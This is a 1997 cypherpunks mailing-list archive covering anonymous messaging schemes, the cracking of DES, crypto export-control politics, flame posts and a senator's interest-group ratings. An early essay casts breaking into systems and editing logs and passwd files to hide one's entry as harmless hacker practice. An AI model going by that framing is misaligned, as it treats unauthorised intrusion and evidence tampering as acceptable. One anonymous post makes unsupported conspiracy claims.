>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and 
soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...

===================================================================

Hacking is something that you learn on your own. While there are a few 
folks that will show you the ropes, you have to learn on your own. 
Knowledge is precious, and even more so when you gain it through your 
own bllod sweat and tears.  I hope you really mean hacking, and NOT 
cracking. There are many of us in the hacking community that are ticked 
off because the media and the government have lumped us hackers in with 
the Crackers. Crackers are folks that enter systems for no other reason 
that malicous damage of systems and vital infromation. These folks are 
usually punk kids out to romp around Cyberspace doing damage for kicks. 
There are professional crackers but are usually hired by governments and 
major corporations for either "NAtional Security" reasons or plain old 
Corporate espianage. Hackers on the other hand, are folks that believe 
in the free exchange and flow of information, and yearn for knowledge. 
While they occationally do break into systems, it is usually only for 
the challenge of doing so and NOT with the intent of causing damage. 
Most hackers that enter systems, will usually clean up after themselves 
after merely looking around the system for awhile just to see what is 
there with no intent to cause harm, only making modifications to logs 
and passwd files to clear traces of their entry. They NEVER damage files 
intentionally and that is a MAJOR no no with most folks in the real 
hacking community. Some hackers even go so far as to tell they System 
Administrators of the systems they enter that they did so, and how they 
did it so the Admins may plug the holes.  Unfortunately, the government 
and the media have placed us within the same catagories as the 
Darksiders. I, for one, do hope you are a hacker and not trying to 
become a cracker.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From nobody at REPLAY.COM  Thu Jun 19 00:33:21 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:33:21 +0800
Subject: Recipient Anonymity
Message-ID: <199706190720.JAA17208@basement.replay.com>



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)






From nobody at REPLAY.COM  Thu Jun 19 00:34:40 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:34:40 +0800
Subject: Receiving Messages Anonymously
In-Reply-To: 
Message-ID: <199706190724.JAA17576@basement.replay.com>



pdh at best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)






From junger at upaya.multiverse.com  Thu Jun 19 01:45:40 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Thu, 19 Jun 1997 16:45:40 +0800
Subject: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <199706190839.EAA28617@upaya.multiverse.com>



Lucky Green writes:

: Now that a stake has finally been put through the heart of DES, let's all
: join in breaking RC5-56.
: 
: See my signature for details.
: 
: Thanks for you help,
: 
: --Lucky Green 
:   PGP encrypted mail preferred.
:   DES is dead! Please join in breaking RC5-56.
:   http://rc5.distributed.net/

I would like like to help and I have two or three boxes that could
be used.  But the print on your web page is so small that I am not
sure I will be able to read the instructions.

Is there some reason for making the instructions so cryptic?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From paul at fatmans.demon.co.uk  Thu Jun 19 02:31:46 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 19 Jun 1997 17:31:46 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: 





> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
who send lawyer letters to security consultants who question the strength 
of their products.

> C2Net is the leading worldwide provider of uncompromised Internet
> security software. C2Net's encryption products are developed entirely
> outside the United States, allowing the firm to offer full-strength
> cryptography solutions for international communications and
> commerce. 

C2Net also censor all dissenters over the security of their products, try 
it if you want to prove my point, just post a message to a security forum 
questioning the security of stronghold.


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at huge.cajones.com  Thu Jun 19 04:22:42 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 19:22:42 +0800
Subject: E-Cash
Message-ID: <199706191100.EAA28681@fat.doobie.com>



Tim May is another loser who pays for got.net because he lacks the 
mental capacity to gain net access as a perk of either employment 
or academic achievment.

          ((__)) Tim May
           (00)
          (o__o)






From declan at well.com  Thu Jun 19 05:53:43 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 19 Jun 1997 20:53:43 +0800
Subject: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: 



Rocke Verser's announcement couldn't have come at a
more embarrassing time for the White House. At 3:46 pm
yesterday, after five months of painstaking work, the
Colorado computer consultant fired off an excited
message to the DES challenge mailing list: "WE FOUND IT!"

Verser was talking about his group's successful crack
of a message scrambled with the 56-bit DES encryption
standard. When subjected to the massive computing
power of thousands of machines around the globe, the
enciphered message finally yielded the secret phrase,
"Strong cryptography makes the world a safer place."

That's exactly what the Clinton administration didn't
want to hear. For years top government officials have
argued the opposite, that strong cryptography makes
the world a less secure place where criminals and
terrorists can scheme with impunity. The White House
has long wanted to ensure that it can listen in to all
electronic communications through schemes like "key
escrow" or the Clipper Chip.

Today the Senate Commerce committee is scheduled to
vote on two competing crypto-bills, one backed by the
White House and one backed by industry and some
privacy groups. And now, I've learned, some of
cryptography's most loyal supporters on the Hill are
talking about cutting a deal...

---

I ran into Jim Bidzos, head of RSA Data Security
(which sponsored the DES challenge), at a party in the
Watergate last night. "Export regulations are a
dinosaur," he said. "But it's a dinosaur that'll take
out a lot of the city during its death struggles."
Bidzos is testifying before a House Science panel
today and plans to stress the problems of 56-bit DES;
only 128-bit DES is generally regarded as reasonably
secure...

---

Washington is a city of complexity, painful
complexity, when it comes to encryption. Three
different lawsuits are challenging the
constitutionality of last year's Federal
crypto-regulations. This year's Commerce Department
regulations add up to an eye-straining 16,000 words.
Four different bills are moving through Congress, and
the legislative jockeying is even more abstruse.

But throughout this muddle, one point remains clear:
The Clinton administration wants to hold on to the
status quo as long as possible. That means no judicial
or legislative tinkering -- and, above all, no general
lifting of export controls on encryption products.
Even as officials admit privately that attempts to
prop up these Cold War rules are eventually doomed,
they argue publicly that removing the rules would be
catastrophic. "The proliferation of unbreakable
encryption would seriously and fundamentally
threaten... critical and central public safety
interests," FBI director Louis Freeh said earlier this
month.

For Freeh, the best way to stall for time was to take
the battle to Congress. Earlier this week Sen. Bob
Kerrey (D-Neb.) and Sen. John McCain introduced a bill
that included everything Freeh and the White House
desired: sections creating new Federal crimes for some
uses of crypto and an all-but-mandatory key escrow
infrastructure. The goal: to facilitate government
access to any private data.

Privacy advocates leaped to savage it. "The bill
threatens any prospect of privacy and security in
electronic commerce and on the Internet by opening a
huge window of vulnerability to the private data and
communications of encryption users," the Center for
Democracy and Technology cried. EPIC's Dave Banisar
told me it was a "poison pill strategy designed to
kill" pro-crypto legislation.

The many problems with the bill normally would be bad
enough, but it's zooming through Congress at an almost
supersonic velocity. Thanks to the sponsorship of
McCain, the powerful Senate commerce committee chair,
the committee is scheduled to vote on it today,
without even holding hearings. This could mean the
death of a bill introduced last year, then
reintroduced this year by Sen. Conrad Burns (R-Mont.).
Called "ProCODE," privacy advocates say it's the best
of all the crypto bills in Congress (but then again,
that's not saying much).

---

In Washington politics, perhaps the worst thing that
can be said about you is that you're unwilling to
compromise. So it should come as no surprise that the
McCain-Kerrey bill prompted Burns himself to offer a
substitute ProCODE bill that will be unveiled at the
markup session today. "People would say Burns hasn't
moved on this issue and he's not willing to
compromise. He needs to put something on the table so
he can credibly say he has a compromise too. Otherwise
it seems like he's not willing to play the game," one
Hill observer told me yesterday.

"ProCODE II" would allow the export of up to 56-bit
DES -- yes, the very same bit length that was cracked
yesterday -- only in some circumstances and give the
FBI and the CIA more of a say on an encryption panel
the bill creates, sources say. (For their part, Burns'
staff characterizes it as having only "slight
differences" from ProCODE I.)

This legislative jockeying takes place against a
backdrop of rivalries between Burns and McCain that
stretch far beyond encryption. Burns introduced an
amendment on a spectrum auction bill that gutted
McCain's proposal. A recent National Journal story
played up the rift, and only resulted in widening it.

McCain's insistence on endorsing the administration's
-- and thus the national security establishment's --
position shouldn't be surprising, even if McCain was
one of the original sponsors of ProCODE last year. He
told Wired Magazine's Todd Lappin in March that "we
need to find a middle ground" on crypto: "It's pretty
clear that the administration's crypto proposals will
have a harmful effect upon the industry. But we can't
completely ignore the warnings we get from the heads
of the FBI and the National Security Agency... If the
president of the United States vetoes a crypto bill we
pass, I doubt we'll be able to override his veto."

Then there's the Senate Judiciary committee. Its
chairman, Sen. Orrin Hatch (R-Utah), said last week
that he may introduce an alternative bill to relax
export controls on encryption technology. But he's
also talking about requiring key escrow in certain
circumstances. Judiciary is holding a hearing next
Wednesday on key escrow; the FBI's Freeh is scheduled
to testify. For his part, Hatch has control of a
crypto bill introduced by Sen. Patrick Leahy (D-Ver.)
and could block legislation that other committtees
report.

---

Now the focus is on today's scheduled vote in Senate
Commerce. Sources say Sen. Bill Frist (R-Tenn.) is
planning to introduce amendments to the McCain bill
that would weaken it. They would delay the
implementation of some portions by a year. They would
also require that NIST, the Department of Justice, and
the Department of Defense publish guidelines on key
recovery.

Today senators will be faced with a series of
unpleasant choices: approve the McCain-Kerrey bill
(sponsored by the chair), approve the original ProCODE
bill, or approve ProCODE II. Certainly some senators
would be wary of endorsing a measure that they haven't
had time to read. The buzz, however, on the Hill is
that McCain doesn't have the votes for his bill and
may postpone the vote after all.

What all this legislative turmoil means is exactly
what McCain predicted in March: for a bill to get out
of committee, there has to be a compromise. As I wrote
in a recent Netly News column, members of Congress are
driven by a fierce, desperate urge to compromise. The
drive is primal: legislators are compelled to find a
middle ground. But to their chagrin, crypto doesn't
offer one. Either you keep a copy of the electronic
keys to your files or someone else does -- which is
exactly what the White House wants. Either you're free
to speak privately over the Net using PGP, or you're
not -- which is exactly what the White House also
wants.

That's why the only sane answer to the encryption
struggle might be to wait for the courts to strike
down export controls as unconstitutional. They're
moving forward: a Federal court yesterday heard
arguments in the Bernstein case. (Sure, it would put
would-be crypto lobbyists out of business overnight,
but that sounds like a good thing to me.) Congress
can't be trusted not to compromise away fundamental
liberties, and any bill that makes it past McCain,
Hatch, and Kerrey -- not to mention their counterparts
in the House -- is almost certain to include some key
escrow provisions.

A veteran lobbyist told last night that this could
indeed happen -- but only if high tech firms and
their Washington lobbyists sell out our privacy
by accepting relaxed export controls in exchange
for domestic controls on the use of encryption.
Businesses might make money, but American
consumers would be the ultimate losers...

Additional articles:

http://pathfinder.com/netly/editorial/0,1012,931,00.html

http://pathfinder.com/netly/opinion/0,1042,1022,00.html

-Declan








From paul at fatmans.demon.co.uk  Thu Jun 19 06:22:31 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 19 Jun 1997 21:22:31 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: 
Message-ID: 




> > "That DES can be broken so quickly should send a chill through the
> >heart of anyone relying on it for secure communications,"
> 
> I'm shitting bricks. No mention was made that only 25% of the keyspace
> was tested.

Not only that, but single DES with a 56 bit key is just not being used 
anymore in any company which has the slightest clue. If they can run a 
distributed crack on 3DES with independent subkeys then I`ll give them 
some attention.

I`m not downgrading the effort, Joe "wired reader" Sixpack doesn`t know 
the difference between DES, 3DES and his ass anyway, so it is a 
significant publicity stunt that will get normal non-specialist people 
thinking about the export laws, and about how quickly DES can be broken 
by the government if it can be broken by a few guys on the internet in 
months. All I am saying is that looking at it from a purely scientific 
point of view it is not a great cryptanalytic achievement, merely a PR stunt.

> Unfortunately some companies depend on BS to sell products. Glad to see
> C2Net is no different,

What did you expect?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From kent at songbird.com  Thu Jun 19 07:39:50 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 19 Jun 1997 22:39:50 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: 
Message-ID: <19970619071935.51047@bywater.songbird.com>



On Thu, Jun 19, 1997 at 09:21:59AM +0000, Paul Bradley wrote:
> 
> > > "That DES can be broken so quickly should send a chill through the
> > >heart of anyone relying on it for secure communications,"
> > 
> > I'm shitting bricks. No mention was made that only 25% of the keyspace
> > was tested.
> 
> Not only that, but single DES with a 56 bit key is just not being used 
> anymore in any company which has the slightest clue.

This is false, of course.  Many companies with the slightest clue use 
single DES.  Also, someone pointed out that the combined efforts 
probably had independently done 50% of the keyspace.

> If they can run a 
> distributed crack on 3DES with independent subkeys then I`ll give them 
> some attention.
> 
> I`m not downgrading the effort, 

This is false, too.  Doublespeak at it's finest.

>Joe "wired reader" Sixpack doesn`t know 
> the difference between DES, 3DES and his ass anyway, so it is a 
> significant publicity stunt that will get normal non-specialist people 
> thinking about the export laws, and about how quickly DES can be broken 
> by the government if it can be broken by a few guys on the internet in 
> months. All I am saying is that looking at it from a purely scientific 
> point of view it is not a great cryptanalytic achievement, merely a PR stunt.

It is a *GREAT* achievement on several fronts, crypto included. 
Another front that was equally important, IMO was as a demonstration
of what loosely coordinated distributed computing can do. 

Of course, it was also a PR stunt, and it is working on that front, 
as well.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at huge.cajones.com  Thu Jun 19 08:30:15 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 23:30:15 +0800
Subject: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: <199706191514.IAA03521@fat.doobie.com>



Declan McCullagh wrote:
> 
> Rocke Verser's announcement couldn't have come at a
> more embarrassing time for the White House. At 3:46 pm
> yesterday, after five months of painstaking work, the
> Colorado computer consultant fired off an excited
> message to the DES challenge mailing list: "WE FOUND IT!"

  After the DES challenge began, didn't someone on the cypherpunks list
predict that the key would be cracked at a time that was opportune for
RSA, et al, and that the key would be found by "c2Nut testicles?"

 I can't find my printout of the post but if my memory serves me
correctly then (s)he predicted more than a few of the events surrounding
the DES challenge.
  The timing of the find is certainly opportune and there is no doubt
that the company that found the key is closely connected to c2net (not
to mention the spooks the company fronts for in Costa Rica and South
America). Also, the Genx effort was plagued with internal and external
sabotage, as predicted, and several other efforts were chilled before 
they ever got off the ground (by government and corporate legal
consultants who all seem to have close connections to Colorado DoD
agencies).

  I am not suggesting that RSA and their cohorts would put the fix in
just because their is a tremendous amount of money and power surrounding
this issue (both corporate and political) but I have certainly noticed
that there doesn't seem to be any area of the crypto community where I
don't find the same dark figures flitting through the shadows (and they
all seem to have agendas linked to secret government labs and unelected
government regulatory comittees).
  I was a bit skeptical of some of the rather paranoid claims I saw on
the cypherpunks list at times but I can certainly vouch for the fact
that there were more than a few computer admins in the New York area
who were told from on high that using their company's computers in
the DES challenge would not bode well for future government contracts.
  I am beginning to wonder if I shouldn't have majored in nuclear
physics since there seems to be less political intrigue in that arena
than in the crypto arena these days.

Chauncey Gardner






From shamrock at netcom.com  Thu Jun 19 08:51:14 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 19 Jun 1997 23:51:14 +0800
Subject: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619082126.0077f32c@netcom9.netcom.com>



At 04:39 AM 6/19/97 -0400, Peter D. Junger wrote:
>I would like like to help and I have two or three boxes that could
>be used.  But the print on your web page is so small that I am not
>sure I will be able to read the instructions.

I don't run the site. I am just a fellow cracker. :-)


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From real at freenet.edmonton.ab.ca  Thu Jun 19 09:02:25 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 20 Jun 1997 00:02:25 +0800
Subject: E-Cash
In-Reply-To: <199706191100.EAA28681@fat.doobie.com>
Message-ID: 



On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim May is another loser who pays for got.net because he lacks the 
> mental capacity to gain net access as a perk of either employment 
> or academic achievment.
> 
>           ((__)) Tim May
>            (00)
>           (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From trei at process.com  Thu Jun 19 09:02:42 1997
From: trei at process.com (Peter Trei)
Date: Fri, 20 Jun 1997 00:02:42 +0800
Subject: DES: Thank you!
Message-ID: <199706191540.IAA17231@toad.com>



     Well Done!

     My congratulations go out to Rocke Verser, Mike Sanders, 
and all of the other people who developed code and/or ran
clients for the DES challenge. The crack comes roughly at the
time I predicted when I first proposed the challenge, and
at a very opportune moment to influence action in the US
Congress.

     I first proposed the challenge on Oct 1, 1996, in a posting 
to the cypherpunks mailing list: "Can we kill single DES?". Later 
that month, at the suggestion of Ron Rivest, I approached Jim 
Bidzos of RSA Data Security Inc. with the idea. From the start, 
RSA was enthusiastic, and sponsored the challenge to the tune of 
$10,000.

     I wrote some of the earliest key search routines, and
invented a technique to reduce the key schedule generation
from 80% of the total work to less than 5% - a technique which
was universally adopted by key search engine writers.

     I and others also worked on the other major part - the DES 
round. My initial version was substantially faster than any
previously existing Intel version, but later  Sven Mikkelsen of
Danemark found substantial improvements over my code.

     Sven, Rocke, and others also invented techniques to speed up
the search by reducing the number of DES rounds which needed to
be performed; I had reduced the original 16 to 14, but they got
it down to under 12.

     The upshot of this was that searching for keys became faster
than straightforward encryption or decryption with a single key.

---------------------------
What does this tell us?
What do we tell the public?
---------------------------

Single DES can be cracked for under $10,000. Any system 
in which a single DES key protects more than $10,000 in assets 
is inadequate. Thus, one $10,000 message, or even 10 bank
cards with $1000 in their accounts, becomes a tempting target 
(some banking systems use the same DES key for many cards). 

Future cracks can only get faster. Processor speeds continue
to climb, and the number of available computers increases
similarly; thus, the number of available cycles more than
doubles every year - and the cost of a cracked key halves.

This was probably the *least* efficient way to crack DES;
Wiener and others have shown that machines can be built that
will crack DES far faster and cheaper, but the method used
won because it used existing resources, with no significant
upfront development costs.

No enterprise which wishes to use or offer security should 
consider single DES from this point on. If this crack does
anything, it demonstrates that the US Government's offers
to permit the export of single DES are worthless. 

Even without formal organization, distributed computing on
the Internet can muster awesome cpu power - I estimate about
half a million MIP years were used (see below).

-------------------------------
How much cpu was actually used?
-------------------------------

The following is a very rough calculation, there are lots of 
assumptions.

1. DESChall searched 25% of the keyspace - other efforts got
about the same, so we checked roughly 2^55 keys

2. I'm assuming that most search engines used roughly the same
number of operations per key checked, regardless of processor. 
64 bit machines could do better, especially with bitslice 
algorithms.

3. The Pentium code is highly optimized, and thus is executing
roughly 2 instructions per clock cycle.

Lets do the numbers.

from the DESChall benchmark page:

Dual Pentium 200 MHz ......... 2.003M keys per second 

= 200MHz is roughly 400MIPs, due to Pentium's dual pipelines.

-> 1 Mkey/sec = 400 MIPs, or roughly 400 instructions per key.
   (this sounds about right, from my own DES Intel assembly work).

2^55 keys = 3.6*10^16 keys
* 400 = 1.44*10^19 instructions
= 1.44*10^13 million instructions.

= 457,000 MIP years used in the calculation.

Lenstra has stated that, in the factorization of RSA-130:

"we would have spent about 500 mips years (i.e., 10% of the 
computing time spent on the 129-digit QS-record) if we had 
done all the sieving on average workstations with at least 
24 megabytes of memory" 
(from http://enigma.ncsa.uiuc.edu/~dun/rsa-130.shtml)

This suggests that cracking DES used roughly 2 orders of
magnitude (ie, 100x ) more CPU than RSA-129, which I suspect
makes it a record for the largest calculation ever performed.

----------
What next?
----------

Two targets suggest themselves:

1. 56 bit RC5.
2. RSA 135


1. 56 bit RC5.

The earlier efforts on 40 and 48 bit RC5 suggest that keysearch
for RC5 is substantially slower than DES - perhaps 5-10 x slower. 
It's probable that the clients have not been fully optimized.
RSA has another $10,000 prize for this crack.

2. RSA 135 

We used about 1000x the cpu needed for the RSA 130 factorization.
I'm not sure how the best current factorization systems scale
with the modulus size (Rivest, Lenstra?) but I suspect that it's
less than linear. If this is so, then RSA 135 may be doable. RSA135
is roughly comparable to a 448 bit key. RSA also has a prize for
this factorization.

Peter Trei
trei at process.com

DISCLAIMER: The above represents my opinions only, not neccesarily
those of my employer.






From geeman at best.com  Thu Jun 19 09:26:51 1997
From: geeman at best.com (geeman)
Date: Fri, 20 Jun 1997 00:26:51 +0800
Subject: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <33A959DC.5793@best.com>



Actually the profile doesn't look too evil.
One wonders who's pushing him on this, since he
doesn't come across asa crypto expert ;)


Below is from the Project Vote Smart pages...

Senator J. Robert 'Bob' Kerrey

                            Performance Evaluations by Special Interest
Groups



                                               How to Interpret These
Evaluations

These evaluations are in percentage form. They represent the percentage
of 
time that the incumbent voted with that organization's preferred
positions on a number of
votes that they identified as key in their issue area. Remember, by
definition, these r
atings by special interest groups are biased. They do not represent a
non-partisan stance. In addition, some groups select votes that tend to
favor members 
of one political party over another, rather than selecting votes based
solely on
issue concerns. However, they can be invaluable in showing where an
incumbent has 
stood on a series of votes over a year's time, especially when ratings
by groups
on all sides of an issue are compared. Descriptions of the organizations
offering p
erformance evaluations are available. 

Project Vote Smart collects performance evaluations from ALL special
interest groups 
who provide them. If there is a group you that feel is missing from our
database, either they do not compile performance evaluations, they would
not allow 
Project Vote Smart to distribute them, or we are unaware of the fact
that the
group does ratings. Please let us know if you think we are missing a
group's 
ratings and we will contact the group immediately. 

A final note: The clearest way to read these percentages is, "In [year],
the X
YZ organization gave Senator/Representative X an 80% rating. That means
that on
votes they identified as key in their issue area during that time
period, he/she 
voted with the group's preferred position 80% of the time." The
exception to this is the
evaluation done by the National Taxpayers Union, which represents how
often a 
representative or senator voted to decrease, or not increase, spending. 


                                     Performance Evaluations by Special
Interest Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991       20 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996 100 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Right to Life
Committee             
Abortion/FamPln 1996      100 National Abortion Reproductive Rights
Action 
Business        1995-1996  41 National Federation of Independent
Business  
Business        1996       10 Business-Industry Political Action
Committee 
Business        1996       23 U.S. Chamber of
Commerce                     
Children        1995       89 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992   9 Christian
Voice                              
Chr.Fam. Issues 1995-1996   8 Christian
Coalition                          
Civil Rts/Lib   1991-1992  55 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994  80 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  67 National Association for the Advancement
of C
Civil Rts/Lib   1995-1996  90 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1996       47 American Civil Liberties
Union               
Conservative    1995-1996  21 Conservative
Index                           
Conservative    1996        5 American Conservative
Union                  
Consumers       1996       79 Consumer Federation of
America               
Contractors     1995       17 Associated Builders &
Contractors            
Crime           1995-1996  60 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       60 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1991       62 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1993-1994  30 American Security
Council                    
Defense/Foreign 1995       60 Campaign for U.N.
Reform                     
Defense/Foreign 1995       92 Peace
Action                                 
Defense/Foreign 1996       82 Council for a Livable
World                  
Economic Policy 1991       80 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       20 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       20 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       23 The Republican Liberty
Caucus                
Education       1993-1994  73 American Federation of
Teachers              
Education       1995       83 National Education
Association               
Education       1995-1996  91 U.S. Student
Association                     
Env./consumer   1995-1996  67 U.S. Public Interest Research
Group          
Environment     1994       11 Competitive Enterprise Institute
(Environment
Environment     1995-1996  74 League of Conservation
Voters                
Environment     1995-1996 100 Fund For
Animals                             
Farm            1991-1992  50 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  67 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 National Rifle
Association                   
Gun Issues      1993-1994 100 Handgun Control,
Inc                         
Health          1995-1996  89 AIDS Action
Council                          
Health          1996       93 American Public Health
Association           
Immigration     1996       30 American Immigration
Control                 
Immigration     1996       50 Federation for American Immigration
Reform-Se
Labor           1989      100 Machinists Non-Partisan Political
League     
Labor           1989-1990 100 National Federation of Federal
Employees     
Labor           1991       67 American Postal Workers
Union                
Labor           1994       90 United Food & Commercial
Workers             
Labor           1995       30 Transportation Communications
Union          
Labor           1995       62 Communications Workers of
America            
Labor           1995       62 The
Teamsters                                
Labor           1995       75
AFL-CIO                                      
Labor           1995       85 United Auto
Workers                          
Labor           1996       75 American Federation of Government
Employees  
Labor           1996      100 American Federation of State, County &
Munici
Liberal         1995-1996  81 Public Citizen's Congress
Watch              
Liberal         1995-1996  85 National Committee for an Effective
Congress 
Liberal         1996       85 Americans for Democratic
Action              
Libertarian     1995       35 The Libertarian Party - Combined
Score       
Populist        1995       30 Liberty
Lobby                                
Poverty         1996      100 Bread for the
World                          
Property        1995-1996  20 League of Private Property
Voters            
Regulation      1994       29 Competitive Enterprise Institute
(Deregulatio
Seniors         1995       80 National Council of Senior
Citizens          
Seniors         1995-1996  30 The 60 Plus
Association                      
Seniors         1995-1996  80 National Association of Retired Federal
Emplo
Seniors         1995-1996  86 National Committee to Preserve Social
Securit
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995       87
Network                                      
Social Policy   1995-1996  77 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996       44 The Republican Liberty
Caucus                
Social Policy   1996      100 Zero Population
Growth                       
Taxes/Spending  1991-1992  17 National Tax-Limitation
Committee            
Taxes/Spending  1994        0 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1994       14 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994       15 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1995       28 Citizens Against Government
Waste            
Taxes/Spending  1995       35 National Taxpayers
Union                     
Taxes/Spending  1995       60 Concord
Coalition                            
Trade           1994       50 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990  95 National Women's Political
Caucus            
Women           1993      100 The Woman Activist
(Senate)                  
Women           1995-1996  25 Concerned Women for
America                  
Women           1995-1996  86 American Association of University
Women     



                                    Senator Kerrey | Nebraska Directory
| 105th Congress Directory


                                                     Project Vote Smart
                                          129 NW 4th Street, Suite 204,
Corvallis, OR 97330
                                              Phone 541-754-2746 Fax
541-754-2747
                                     Comments? Questions? E-mail us at
comments at vote-smart.org 




Senator Bob Kerrey

Sources of Campaign Funding



The information in this section was provided by the Center for
Responsive Politics 
and the National Library on Money and Politics. You can read a summary
of the
laws and procedures governing campaign financing which comes from their
book Open Secrets. 

